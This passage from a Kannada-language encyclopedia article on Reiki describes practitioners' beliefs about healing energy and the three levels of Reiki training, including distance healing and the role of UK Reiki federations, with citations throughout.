ಶಕ್ತಿಯನ್ನು ಯಾರು ಬೇಕಾದರೂ ಪಡೆಯಬಹುದೆಂದು ವಾದಿಸುತ್ತಾರೆ<ref>ರೇಖಿಯನ್ನು ಯಾರು ಬೇಕಾದರೂ ಅನುಷ್ಠಾನಗೊಳಿಸಬಹುದು :(ಲೂಬೆಕ್, ಪೆಟ್ಟರ್, ಹಾಗು ರಾಂಡ್ (೨೦೦೧). ಪುಟ ೮); (ವೆಲ್ಥಿಯಂ ಹಾಗು ವೆಲ್ಥಿಯಂ(೧೯೯೫) ಪುಟ ೩೫);(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೭೭</ref>.<ref>ಅನುಷ್ಠಾನದ ಮೂಲಕ ಸುಲಭಗಮ್ಯತೆಯನ್ನು ಹೊಂದುವುದು:(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೨೭ ಹಾಗು ೩೧);(ಲುಬೆಕ್, ಪೆಟ್ಟರ್, ಹಾಗು ರಾಂಡ್ (೨೦೦೧). ಪುಟ ೨೨);(ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟಗಳು ೧೮ ಹಾಗು ೧೯);(ಗೊಲ್ಲಘರ್ (೧೯೯೮). ಪುಟ ೨೬);(ಬೋರಾಂಗ್ (೧೯೯೭). ಪುಟ ೧೨</ref> ರೇಖಿ ವೃತ್ತಿಯನ್ನು ಪಾಲಿಸುವವರು ಇದನ್ನು ಸಮಗ್ರ ಚಿಕಿತ್ಸಾ ವಿಧಾನವೆಂದು ವಿವರಿಸುತ್ತಾರೆ, ಇದು ಶಾರೀರಿಕವಾಗಿ, ಮಾನಸಿಕವಾಗಿ, ಭಾವನಾತ್ಮಕವಾಗಿ ಹಾಗು ಆಧ್ಯಾತ್ಮಿಕ ಮಟ್ಟಗಳಲ್ಲಿ ಉಪಶಮನ ಮಾಡುತ್ತದೆ.<ref name="Reiki as holistic therapy">ರೇಖಿ ಒಂದು ಸಮಗ್ರ ಪದ್ಧತಿಯಾಗಿದ್ದು, ಶಾರೀರಿಕ, ಮಾನಸಿಕ, ಭಾವನಾತ್ಮಕ ಹಾಗು ಆಧ್ಯಾತ್ಮಿಕ ಮಟ್ಟಗಳನ್ನು ಹೆಚ್ಚಿಸುತ್ತದೆ:(ಬಗಿನ್ಸ್ಕಿ ಹಾಗು ಶರಮೊನ್(೧೯೮೮). ಪುಟ ೩೫);(ಗೊಲ್ಲಘರ್ (೧೯೯೮). ಪುಟ ೪೪);(ಬೋರಾಂಗ್ (೧೯೯೭). ಪುಟ ೧೦);(ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟ ೮೧)</ref> ಸಾಮಾನ್ಯ ನಂಬಿಕೆಯೆಂದರೆ ಶಕ್ತಿಯು, ರೋಗಿಯ ಕೈಗಳ ಮೇಲೆ ವೈದ್ಯರು ಕೈಗಳನ್ನು ಇರಿಸಿದಾಗ, ಅಥವಾ ಒಬ್ಬ ಸಂಭಾವ್ಯ ಗ್ರಾಹಕನ ಮೇಲೆ ಇರಿಸಿದಾಗ, ಶಕ್ತಿಯ ಸಂಚಾರವಾಗುತ್ತದೆ. ಕೆಲವು ಬೋಧನೆಗಳು, ವೈದ್ಯರ ''ಉದ್ದೇಶ'' ಅಥವಾ ಈ ಉಪಸ್ಥಿತಿಯ ಪ್ರಾಮುಖ್ಯತೆಗೆ ಒತ್ತು ನೀಡುತ್ತದೆ, ಮತ್ತೆ ಕೆಲವು ಬೋಧನೆಗಳು, ಶಕ್ತಿಯು, ಸ್ವಾಭಾವಿಕ ಪರಿಹಾರ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಸಕ್ರಿಯಗೊಳಿಸುವ ಅಥವಾ ಅಧಿಕಗೊಳಿಸುವ ರೋಗಿಗೆ ಉಂಟಾದ ಪೆಟ್ಟಿನಿಂದ ''ಒಳಕ್ಕೆ ಎಳೆದು'' ಕೊಳ್ಳಲಾಗುತ್ತದೆಂದು ವಾದಿಸುತ್ತವೆ.<ref>ರೇಖಿ ಸ್ವಾಭಾವಿಕ ಉಪಶಮನವನ್ನು ಸಕ್ರಿಯಗೊಳಿಸುತ್ತದೆ ಅಥವಾ ಹೆಚ್ಚಿಸುತ್ತದೆ:(ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟ ೧೮);(ವೆಲ್ಥಿಯಂ ಹಾಗು ವೆಲ್ಥಿಯಂ(೧೯೯೫). ಪುಟಗಳು ೭೮ ಹಾಗು ೯೩);(ಗೊಲ್ಲಘರ್ (೧೯೯೮). ಪುಟ ೨೪)</ref> ಈ ಕಲ್ಪನೆಗೆ ಮತ್ತಷ್ಟು ಪುಷ್ಟಿ ನೀಡುವಂತೆ ನಂಬಿಕೆಯೆಂದರೆ, ಶಕ್ತಿಯು "ಬುದ್ಧಿವಂತಿಕೆಯಿಂದ" ಕೂಡಿದೆ,<ref>ರೇಖಿ "ಬುದ್ಧಿವಂತಿಕೆಯಿಂದ" ಕೂಡಿದೆ:(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟಗಳು ೨೮ ಹಾಗು ೨೯);(ಬೋರಾಂಗ್ (೧೯೯೭). ಪುಟ ೧೦)</ref> ಇದರರ್ಥ, ವೈದ್ಯರ ಕೈಗಳು ಗುಣಪಡಿಸಬೇಕಿರುವ ನಿರ್ದಿಷ್ಟ ಜಾಗದಲ್ಲಿ ಇಲ್ಲದಿದ್ದರೂ ಸಹ ಯಾವ ಭಾಗದಲ್ಲಿ ಶಮನ ಮಾಡಬೇಕೆಂಬುದು ರೇಖಿಗೆ ತಿಳಿದಿದೆ. ===ತರಬೇತಿ=== ಜಪಾನಿನ ಹೊರಗೆ ಬೋಧಿಸಲಾಗುವ ರೇಖಿಯನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಮೂರು ಹಂತಗಳಾಗಿ ವಿಂಗಡಿಸಲಾಗುತ್ತದೆ,<ref>ರೇಖಿಯನ್ನು ಮೂರು ಹಂತಗಳಲ್ಲಿ ಕಲಿಸಲಾಗುತ್ತದೆ: (ಮ್ಯಾಕ್ಕೆಂಜಿ(೧೯೯೮). ಪುಟ ೫೪);(ವೆಲ್ಥಿಯಂ ಹಾಗು ವೆಲ್ಥಿಯಂ (೧೯೯೫). ಪುಟ ೧೧೭);(ಪೆಟ್ಟರ್ (೧೯೯೭). ಪುಟ ೩೮)</ref> ಅಥವಾ ಪದವಿಗಳು, ಇದರಲ್ಲಿ ಬಹಳ ಸಾಮಾನ್ಯವಾದ ಹಂತಗಳನ್ನು ಈ ಕೆಳಕಂಡಂತೆ ವಿವರಿಸಲಾಗಿದೆ. ಸಾಂಪ್ರದಾಯಿಕ ಜಪಾನೀಸ್ ರೇಖಿಯನ್ನು ಉಸುಯಿಯವರ ಮಾರ್ಗದರ್ಶನದಡಿಯಲ್ಲಿ ವ್ಯಾಪಕವಾಗಿ ತರಬೇತಿ ನೀಡಲಾಗುತ್ತದೆ, ಜೊತೆಗೆ ವಾರಕ್ಕೊಮ್ಮೆ ಧ್ಯಾನ ಕೂಟಗಳಲ್ಲಿ ರೇಖಿ ಚಿಕಿತ್ಸೆಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ ಜೊತೆಗೆ ಪ್ರಬಲ ಪರಿಹಾರವನ್ನು ಒದಗಿಸುವ ಸಲುವಾಗಿ ದೇಹವನ್ನು ಸ್ಕ್ಯಾನ್ ಮಾಡಲಾಗುತ್ತದೆ,<ref name="Usui 2000 7">{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=7}}</ref> ಜಪಾನೀಸ್ ಭಾಷೆಯಲ್ಲಿ ಇದನ್ನು ''ಬ್ಯೋಸೇನ್-ಹೋ'' ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ, ಏಕೆಂದರೆ ಜಪಾನೀಸ್ ರೇಖಿ ಚಿಕಿತ್ಸೆಯು ಅಂತರ್ಬೋಧೆಯ ಗ್ರಹಿಕೆಯಿಂದ ಕೂಡಿದ್ದು, ಪಾಶ್ಚಿಮಾತ್ಯ ರೇಖಿ ಚಿಕಿತ್ಸೆಗೆ ಹೋಲಿಸಿದರೆ ಇದು ನಿರ್ದಿಷ್ಟವಾಗಿ ನಿರ್ದೇಶಿಸುತ್ತದೆ, ಇದು ನಿರ್ದಿಷ್ಟ ಜಾಗಗಳಿಗೆ ಬದಲಾಗಿ ಸಾಧಾರಣವಾಗಿ ಸಂಪೂರ್ಣ ದೇಹಕ್ಕೆ ಚಿಕಿತ್ಸೆಯನ್ನು ನೀಡುತ್ತದೆ. ====ಮೊದಲ ಹಂತದ ಪದವಿ ==== ಮೊದಲ ಹಂತದ ಪದವಿ ಕೋರ್ಸ್ ನ್ನು,<ref>ಮೊದಲ ಹಂತದ ಪದವಿ ಕೋರ್ಸ್ ನ ವಿಷಯವಸ್ತು: (ಮ್ಯಾಕ್ಕೆಂಜಿ(೧೯೯೮). ಪುಟ ೫೪);(ವೆಲ್ಥಿಯಂ ಹಾಗು ವೆಲ್ಥಿಯಂ (೧೯೯೫). ಪುಟ ೧೧೮);(ಪೆಟ್ಟರ್ (೧೯೯೭). ಪುಟ ೩೮)</ref> ಕೆಲವೊಂದು ಬಾರಿ ''ಷೋಡೆನ್'' ("初伝" ಜಪಾನೀಸ್ ನಲ್ಲಿ, "'ಪ್ರಾರಂಭಿಕ/ಪ್ರವೇಶ ಮಟ್ಟದ ಬೋಧನೆಗಳು" ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುತ್ತದೆ)ಎಂಬ ಜಪಾನೀಸ್ ಹೆಸರಿನಿಂದ ಕರೆಯಲಾಗುತ್ತದೆ,<ref name="aetw.org">ಜೇಮ್ಸ್ ಡೆಕೊನ್ (೨೦೦೨),''ರೇಖಿ ಗ್ಲಾಸರಿ: S - Z'' (ಆನ್ಲೈನ್). ಸಂಕಲನಗೊಂಡಿದ್ದು: ೨೩ ಫೆಬ್ರವರಿ ೨೦೧೦ (ಲಭ್ಯತೆ: http://www.aetw.org/reiki{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} _glossary_s.html)</ref> ಇದು ಮೂಲ ಸಿದ್ಧಾಂತಗಳು ಹಾಗು ವಿಧಾನಗಳ ಬಗ್ಗೆ ತರಬೇತಿ ನೀಡುತ್ತದೆ. ಹಲವಾರು "ಅನುಷ್ಠಾನಗಳನ್ನು" ಶಿಕ್ಷಕರು ವಿದ್ಯಾರ್ಥಿಗೆ ನೀಡುತ್ತಾರೆ.<ref>ಮೊದಲ ಹಂತದ ಅನುಷ್ಠಾನಗಳ ಪರಿಣಾಮ:(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೩೭)</ref> ವಿದ್ಯಾರ್ಥಿಗಳು, ಚಿಕಿತ್ಸೆಯನ್ನು ಪಡೆಯುವವರ ಕೈಗಳ ಮೇಲೆ ತಮ್ಮ ಕೈಗಳನ್ನು ಇರಿಸುವ ಕ್ರಮದ ಬಗ್ಗೆ ತಿಳಿದುಕೊಳ್ಳುತ್ತಾರೆ, ಇದು ಸಂಪೂರ್ಣ ದೇಹಾ ಚಿಕಿತ್ಸಾ ಪ್ರಕ್ರಿಯೆಗೆ ಹೆಚ್ಚು ಸಹಾಯಕವೆಂದು ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ.<ref>ಮೊದಲ ಹಂತದ ಪದವಿ ವ್ಯಾಸಂಗಾವಧಿಯಲ್ಲಿ ಕೈಗಳನ್ನು ಇರಿಸಿಕೊಳ್ಳುವ ಭಂಗಿಯ ಬಗ್ಗೆ ತರಬೇತಿ:(ಬಗಿನ್ಸ್ಕಿ ಹಾಗು ಶರಮೊನ್ (೧೯೮೮). ಪುಟ ೪೮),(ಪೆಟ್ಟರ್ (೧೯೯೭). ಪುಟ ೩೯)</ref> ಮೊದಲ ಹಂತದ ಪದವಿಯನ್ನು ಪೂರ್ಣಗೊಳಿಸಿದ ನಂತರ, ರೇಖಿ ವೈದ್ಯರು ಸ್ವತಃ ತಮಗೆ ಹಾಗು ಇತರರಿಗೆ ರೇಖಿ ಪದ್ಧತಿಯ ಮೂಲಕ ಚಿಕಿತ್ಸೆಯನ್ನು ನೀಡಬಲ್ಲ ಸಾಮರ್ಥ್ಯವನ್ನು ಪಡೆಯುತ್ತಾರೆ. ತರಬೇತಿಯ ಅವಧಿಯು ರೇಖಿ ತಜ್ಞರ ಬೋಧನೆಯ ಮೇಲೆ ಅವಲಂಬಿಸಿರುತ್ತದೆ; ಕೆಲವರು ಹಲವು ದಿನಗಳನ್ನು ಒಳಗೊಂಡ ನಾಲ್ಕು ಅವಧಿಯನ್ನು ನಡೆಸುತ್ತಾರೆ, ಮತ್ತೆ ಕೆಲವರು ಎರಡು ದಿನಗಳ ಎರಡು ಅವಧಿಯಲ್ಲಿ ಪೂರ್ಣಗೊಳಿಸುತ್ತಾರೆ.<ref>ಮೊದಲ ಹಂತದ ಪದವಿಯ ಅವಧಿ:(ಬಗಿನ್ಸ್ಕಿ ಹಾಗು ಶರಮೊನ್ (೧೯೮೮). ಪುಟ ೪೬),(ಪೆಟ್ಟರ್ (೧೯೯೭). ಪುಟ ೩೮)</ref> ====ಎರಡನೇ ಹಂತದ ಪದವಿ ==== ಎರಡನೇ ಹಂತದ ರೇಖಿ ಕೋರ್ಸ್ ನ್ನು,<ref>ಎರಡನೇ ಹಂತದ ಪದವಿಯ ವಿಷಯ ವಸ್ತು:(ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟ ೫೬);(ವೆಲ್ಥಿಯಂ ಹಾಗು ವೆಲ್ಥಿಯಂ (೧೯೯೫). ಪುಟ ೧೧೯); (ಪೆಟ್ಟರ್(೧೯೯೭). ಪುಟ ೪೩)</ref> ಕೆಲವೊಂದು ಬಾರಿ ''ಒಕುಡೆನ್'' ಎಂಬ ಜಪಾನೀಸ್ ಹೆಸರಿನಿಂದ ಕರೆಯಲಾಗುತ್ತದೆ("奥伝" ಜಪಾನೀಸ್ ಭಾಷೆಯಲ್ಲಿ "ಆಂತರಿಕ ಬೋಧನೆಗಳು" ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುತ್ತದೆ),<ref>ಜೇಮ್ಸ್ ಡೆಕೊನ್ (೨೦೦೨),''ರೇಖಿ ಗ್ಲಾಸರಿ: M - R'' (ಆನ್ಲೈನ್). ಸಂಕಲನಗೊಂಡಿದ್ದು: ೨೩ ಫೆಬ್ರವರಿ ೨೦೧೦ (ಲಭ್ಯತೆ: http://www.aetw.org/reiki{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} _glossary_m.html#o)</ref> ಈ ಹಂತದಲ್ಲಿ ವಿದ್ಯಾರ್ಥಿಯು ಶಕ್ತಿಯನ್ನು ಅಧಿಕಗೊಳಿಸುವ ಹಾಗು ದೂರದಿಂದಲೇ ರೇಖಿ ಚಿಕಿತ್ಸೆಯ ಮೂಲಕ ಗುಣಪಡಿಸುವ ಹಲವಾರು ಸಂಕೇತಗಳನ್ನು ಬಳಸುವುದನ್ನು ಕಲಿಯುತ್ತಾನೆ.<ref>ಎರಡನೇ ಹಂತದ ಪದವಿಯಲ್ಲಿ ತರಬೇತಿ ನೀಡಲಾಗುವ ಸಂಕೇತಗಳು:(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೮೧)</ref> ಇದು ವೈದ್ಯ ಹಾಗು ಗ್ರಾಹಿಯ ನಡುವೆ ತಾತ್ಕಾಲಿಕ ಸಂಪರ್ಕವನ್ನು ರೂಪಿಸುವ ಸಂಕೇತಗಳ ಬಳಕೆಯನ್ನು ಒಳಗೊಂಡಿದೆ, ಇದು ಸ್ಥಳ ಹಾಗು ಕಾಲವನ್ನು ಪರಿಗಣಿಸದೆ, ರೇಖಿ ಶಕ್ತಿಯನ್ನು ಕಳುಹಿಸಲಾಗುತ್ತದೆ.<ref>ರೇಖಿಯನ್ನು ಭೂತ ಅಥವಾ ಭವಿಷ್ಯಕ್ಕೆ ಕಳುಹಿಸಲಾಗುತ್ತದೆ:(ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟ ೩೯),ಪಾಶ್ಚಿಮಾತ್ಯ ರೇಖಿಯಲ್ಲಿ;(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೧೧೫);(ಲೂಬೆಕ್ (೧೯೯೪). ಪುಟ ೧೫೫)</ref><ref>ದೂರದಲ್ಲಿ ನೀಡಲಾಗುವ ಚಿಕಿತ್ಸೆಯ ಅವಧಿಯಲ್ಲಿ ಬಳಸಿಕೊಳ್ಳಲಾಗುವ ಸಂಕೇತಗಳು:(ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟ ೩೯);(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೧೧೦)</ref> ಮತ್ತೊಂದು ಅನುಷ್ಠಾನವನ್ನು ನೀಡಲಾಗುತ್ತದೆ, ಇದು ವಿದ್ಯಾರ್ಥಿಯ ಮೂಲಕ ಹರಿದುಬರುವ ರೇಖಿ ಶಕ್ತಿಯ ಸಾಮರ್ಥ್ಯವನ್ನು ಮತ್ತಷ್ಟು ಅಧಿಕಗೊಳಿಸುವುದರ ಜೊತೆಗೆ ಸಂಕೇತಗಳ ಬಳಕೆಗೆ ಅಧಿಕಾರ ನೀಡುತ್ತದೆ.<ref>ಎರಡನೇ ಹಂತದ ಅನುಷ್ಠಾನದ ಪರಿಣಾಮ:(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೮೧)</ref> ಎರಡನೇ ಹಂತದ ತರಬೇತಿಯನ್ನು ಪೂರ್ಣಗೊಳಿಸಿದ ನಂತರ, ವಿದ್ಯಾರ್ಥಿಯು ಗ್ರಾಹಿಯ ಎದುರು ಶಾರೀರಿಕವಾಗಿ ಹಾಜರಿರದೆ ಚಿಕಿತ್ಸೆಯನ್ನು ನೀಡಬಹುದು - ಈ ವಿಧಾನವನ್ನು "ದೂರದಿಂದಲೇ ನೀಡಲಾಗುವ ಚಿಕಿತ್ಸೆ"(ಡಿಸ್ಟನ್ಟ್ ಹೀಲಿಂಗ್) ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ.<ref>ಎರಡನೇ ಹಂತದ ಪದವಿ ಅವಧಿಯಲ್ಲಿ ದೂರದಿಂದ ನೀಡಲಾಗುವ ಚಿಕಿತ್ಸೆಯ ಬಗ್ಗೆ ತರಬೇತಿ:(ಪೆಟ್ಟರ್ (೧೯೯೭). ಪುಟ ೪೩)</ref> ಜಪಾನಿನ ವಿದ್ಯಾರ್ಥಿಗಳು ಕೆಲವೊಂದು ಬಾರಿ ಕೇವಲ ಎರಡನೇ ಹಂತದ ಪದವಿಯನ್ನು, ಉಸುಯಿಯವರ ಅಧ್ಯಾಪಕತ್ವದಲ್ಲಿ ೧೦ ವರ್ಷಗಳ ಅಥವಾ ಕೆಲವೊಂದು ಬಾರಿ ೨೦ ವರ್ಷಗಳ ನಂತರ ಪಡೆಯುತ್ತಿದ್ದರು ಹಾಗು ಬಹುತೇಕ ವಿದ್ಯಾರ್ಥಿಗಳು ಮೂರನೇ ಹಂತದ ಪದವಿಯನ್ನು ಪಡೆಯುತ್ತಿರಲಿಲ್ಲ.<ref name="Usui 2000 8">{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryoho Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=8}}</ref> ====ಮೂರನೇ ಹಂತದ ಪದವಿ ==== ಮೂರನೇ ಹಂತದ ಪದವಿ, ಅಥವಾ "ತಜ್ಞ ತರಬೇತಿಯ" ಮೂಲಕ,<ref>ತಜ್ಞ ತರಬೇತಿ: (ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟ ೫೮);(ವೆಲ್ಥಿಯಂ ಹಾಗು ವೆಲ್ಥಿಯಂ (೧೯೯೫). ಪುಟಗಳು ೧೨೦ ರಿಂದ ೧೨೪); (ಪೆಟ್ಟರ್(೧೯೯೭). ಪುಟಗಳು ೪೭ ಹಾಗು ೪೯)</ref> ಕೆಲವೊಂದು ಬಾರಿ ಜಪಾನೀಸ್ ಹೆಸರು ''ಶಿನ್ಪಿಡೆನ್'' ("神秘伝"ಜಪಾನೀಸ್ ನಲ್ಲಿ, "ಗುಪ್ತ ಬೋಧನೆಗಳು" ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುತ್ತದೆ)ಎಂಬ ಜಪಾನೀಸ್ ಹೆಸರಿನಿಂದ ಕರೆಯಲ್ಪಡುವ ಇದರ ಮೂಲಕ,<ref name="aetw.org"/> ವಿದ್ಯಾರ್ಥಿಯು ರೇಖಿ ತಜ್ಞನೆನಿಸಿಕೊಳ್ಳುತ್ತಿದ್ದನು. ರೇಖಿ ಪರಿಭಾಷೆಯಲ್ಲಿ,"ತಜ್ಞ" ಎಂಬ ಪದವು ಆಧ್ಯಾತ್ಮಿಕ ಜ್ಞಾನೋದಯಕ್ಕೆ ವ್ಯಕ್ತವಾಗುವುದಿಲ್ಲ, ಜೊತೆಗೆ ಈ ತಪ್ಪು ಗ್ರಹಿಕೆಯನ್ನು ತಡೆಗಟ್ಟುವ ಸಲುವಾಗಿ ಇದನ್ನು ಕೆಲವೊಂದು ಬಾರಿ "ತಜ್ಞ/ಶಿಕ್ಷಕ" ಎಂದು ಬದಲಾವಣೆ ಮಾಡಲಾಗುತ್ತದೆ. ರೇಖಿಯ ನಿರ್ದಿಷ್ಟ ಶಾಖೆಯ ಪ್ರಕಾರ, ಒಂದು ಅಥವಾ ಅದಕ್ಕೂ ಹೆಚ್ಚಿನ ಅನುಷ್ಠಾನವನ್ನು ಮಾಡಿಕೊಳ್ಳಬಹುದು ಹಾಗು ವಿದ್ಯಾರ್ಥಿಯು ಮತ್ತಷ್ಟು ಸಂಕೇತಗಳನ್ನು ಕಲಿಯುತ್ತಾನೆ.<ref>ತಜ್ಞ ತರಬೇತಿಯ ವಿಷಯವಸ್ತು:(ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಅಧ್ಯಾಯಗಳು ೧೬ ಹಾಗು ೧೭)</ref> ತಜ್ಞ ತರಬೇತಿಯನ್ನು ಪೂರ್ಣಗೊಳಿಸಿದ ನಂತರ, ಹೊಸ ರೇಖಿ ತಜ್ಞರು ಇತರರಿಗೆ ರೇಖಿಯನ್ನು ಅಭ್ಯಸಿಸಲು ಅನುವು ಮಾಡಿಕೊಡುವುದರ ಜೊತೆಗೆ ಮೂರು ಪದವಿ ಹಂತಗಳಿಗೆ ತರಬೇತಿಯನ್ನು ನೀಡಬಹುದು. ತಜ್ಞ ತರಬೇತಿಯ ಅವಧಿಯು ಒಂದು ದಿನದಿಂದ ಹಿಡಿದು ಒಂದು ವರ್ಷ ಅಥವಾ ಅದಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ಅವಧಿಯದ್ದಾಗಿರಬಹುದು, ಇದು ತರಬೇತಿ ಶಾಲೆ ಹಾಗು ತರಬೇತಿಯನ್ನು ನೀಡುವ ರೇಖಿ ತಜ್ಞರ ಪದ್ಧತಿಯನ್ನು ಅವಲಂಬಿಸಿರುತ್ತದೆ. ತಜ್ಞರಲ್ಲಿ ಎರಡು ಸಾಮಾನ್ಯ ಮಾದರಿಗಳಿವೆ: ''ತಜ್ಞ ಬೋಧಕ'' ಹಾಗು ''ತಜ್ಞ ವೈದ್ಯ'' ; ತಜ್ಞ ಬೋಧಕರು ರೇಖಿಯ ತಜ್ಞರಾಗಿದ್ದು, ರೇಖಿಯನ್ನು ಕಲಿಸುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿರುತ್ತಾರೆ(ಅದೆಂದರೆ ಇತರರು ಕಲಿಯಲು ಅನುವು ಮಾಡಿಕೊಡುವುದು),ತಜ್ಞ ವೈದ್ಯರು ರೇಖಿಯ ತಜ್ಞರಾಗಿದ್ದರೂ ಸಹ, ರೇಖಿ ತರಬೇತಿಯನ್ನು ನೀಡುವುದಿಲ್ಲ. ====ಮಾರ್ಪಾಡುಗಳು==== ತರಬೇತಿ ವಿಧಾನಗಳು, ತರಬೇತಿಯು ಪೂರ್ಣಗೊಳ್ಳುವ ಅವಧಿ(ಉದಾಹರಣೆಗೆ.,ಹೊಂದಾವಣೆ), ಹಾಗು ವೆಚ್ಚಗಳಲ್ಲಿ ಹೆಚ್ಚು ವ್ಯತ್ಯಾಸಗಳಿವೆ. ಆದಾಗ್ಯೂ, ರೇಖಿಗೆ ವೃತ್ತಿಯನ್ನು ಪ್ರಮಾಣೀಕರಿಸಲು ಯಾವುದೇ ಅಧಿಕೃತ ಸಂಸ್ಥೆ ಹಾಗು ಪ್ರಮುಖ ಅಂಗವಿಲ್ಲ, ಅಥವಾ ಇದನ್ನು ವೃತ್ತಿಯಾಗಿ ಸ್ವೀಕರಿಸುವುದಕ್ಕೆ ಯಾವುದೇ ನಿಯಮಗಳಿರುವುದಿಲ್ಲ, ಯುನೈಟೆಡ್ ಕಿಂಗ್ಡಂನೊಳಗೆ ರೇಖಿ ಹಾಗು ರೇಖಿ ವೃತ್ತಿಯನ್ನು ಪ್ರಮಾಣಕವಾಗಿಸುವ ಸಂಸ್ಥೆಗಳಿವೆ, ಉದಾಹರಣೆಗೆ UK ರೇಖಿ ಫೆಡರೇಶನ್ <ref>UK ರೇಖಿ ಫೆಡರೇಶನ್ ವೆಬ್ಸೈಟ್ ಲಿಂಕ್: http://www.reiki{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} fed.co.uk/</ref> ಹಾಗು ರೇಖಿ ಕೌನ್ಸಿಲ್(UK).<ref>ದಿ ರೇಖಿ ಕೌನ್ಸಿಲ್ ವೆಬ್ಸೈಟ್ ಲಿಂಕ್: http://www.reikicouncil.org.uk/</ref> [[ಅಂತರ್ಜಾಲ|ಆನ್ಲೈನ್]] ಮೂಲಕವೂ ರೇಖಿ ತರಬೇತಿಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ, ಆದಾಗ್ಯೂ ಸಂಪ್ರದಾಯವಾದಿಗಳು, ಚಿಕಿತ್ಸೆಯು ಪರಿಣಾಮಕಾರಿಯಾಗಿರಬೇಕಾದರೆ ವೈಯಕ್ತಿಕವಾಗಿ ಅನುಷ್ಠಾನವನ್ನು ಮಾಡಿಕೊಳ್ಳಬೇಕು, ಅನುಷ್ಠಾನವನ್ನು ಮಾಡುವ ರೇಖಿ ತಜ್ಞ/ಬೋಧಕ, ಅನುಷ್ಠಾನಕ್ಕೆ ಒಳಪಡುವ ವ್ಯಕ್ತಿಯ ಶಕ್ತಿ ಕ್ಷೇತ್ರವನ್ನು ವಾಸ್ತವವಾಗಿ ಮುಟ್ಟುವ ಸಾಮರ್ಥ್ಯವನ್ನು ಹೊಂದಿರಬೇಕು. ದೂರದಿಂದಲೇ ನೀಡಲಾಗುವ ರೇಖಿ ಚಿಕಿತ್ಸೆಗೆ ಮಾಡಿಕೊಳ್ಳಲಾಗುವ ಅನುಷ್ಠಾನಗಳನ್ನು ಕೆಲವು ರೇಖಿ ಫೆಡರೇಶನ್ ಗಳು ಗುರುತಿಸುವುದಿಲ್ಲ, ಉದಾಹರಣೆಗೆ UK ರೇಖಿ ಫೆಡರೇಶನ್, "''ಎಲ್ಲ ತರಬೇತಿಯು "ವೈಯಕ್ತಿಕವಾಗಿರಬೇಕು" ಅಥವಾ "ಮುಖಾಮುಖಿಯಾಗಿರಬೇಕು"(ದೂರದಲ್ಲಿ ಮಾಡುವ ಅನುಷ್ಠಾನಗಳು ಸ್ವೀಕೃತವಾಗುವುದಿಲ್ಲ)'' ."<ref>UK ರೇಖಿ ಫೆಡರೇಶನ್(೨೦೦೯), ''ಮೆಂಬರ್ಶಿಪ್ ಫಾರ್ಮ್.'' ೨೩ ಫೆಬ್ರವರಿ ೨೦೧೦ರಲ್ಲಿ ಸಂಕಲಗೊಂಡಿದೆ(ಲಭ್ಯತೆ: http://www.reikifed.co.uk/pub/about/fed/join/reikifed_mem-app.pdf {{Webarchive|url=https://web.archive.org/web/20161230230655/http://www.reikifed.co.uk/about-us/membership |date=2016-12-30 }})</ref> ಕೆಲವು ಸಂಪ್ರದಾಯವಾದಿಗಳು, ರೇಖಿಯನ್ನು "ತ್ವರಿತ"ವಾಗಿ ಕಲಿಸುವ ವಿಧಾನಗಳು ಪರಿಪೂರ್ಣವಾಗಿರುವುದಿಲ್ಲವೆಂದು ಹೇಳುತ್ತಾರೆ, ಏಕೆಂದರೆ ರೇಖಿಯಲ್ಲಿ ತಜ್ಞತೆ ಪಡೆಯುವ ಅನುಭವ ಹಾಗು ಸಹನೆಗೆ ಯಾವುದೇ ಪರ್ಯಾಯವಿರುವುದಿಲ್ಲ. ==ವೃತ್ತಿಯಾಗಿ== [[File:ColouredChakraswithDescriptions.jpg‎|thumb|300px|ಏಳು ಪ್ರಮುಖ[[ಚಕ್ರ|ಚಕ್ರಗಳು]].]] [[File:Chinese meridians.JPG|thumb|300px|ಮಾನವ ದೇಹದ 